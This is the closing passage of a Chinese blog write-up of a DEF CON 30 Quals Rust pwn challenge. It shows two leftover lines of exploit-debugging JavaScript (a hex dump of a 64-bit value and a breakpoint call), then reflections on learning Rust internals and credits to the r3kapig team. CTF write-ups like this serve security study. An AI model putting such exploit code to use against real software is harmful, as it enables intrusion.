log(new_view.getBigUint64(0).toString(16));

bp();

本题复盘结束。在这次复盘中,主要学习了 rust 在二进制层面的一些特性,同时也算通过这题入了 rust pwn 的一个小门。

七、参考

本次复盘全程参考 r3kapig Defcon-30-Quals 文档 + 群内消息记录讨论,感谢 r3kapig 诸位师傅!

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2022 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~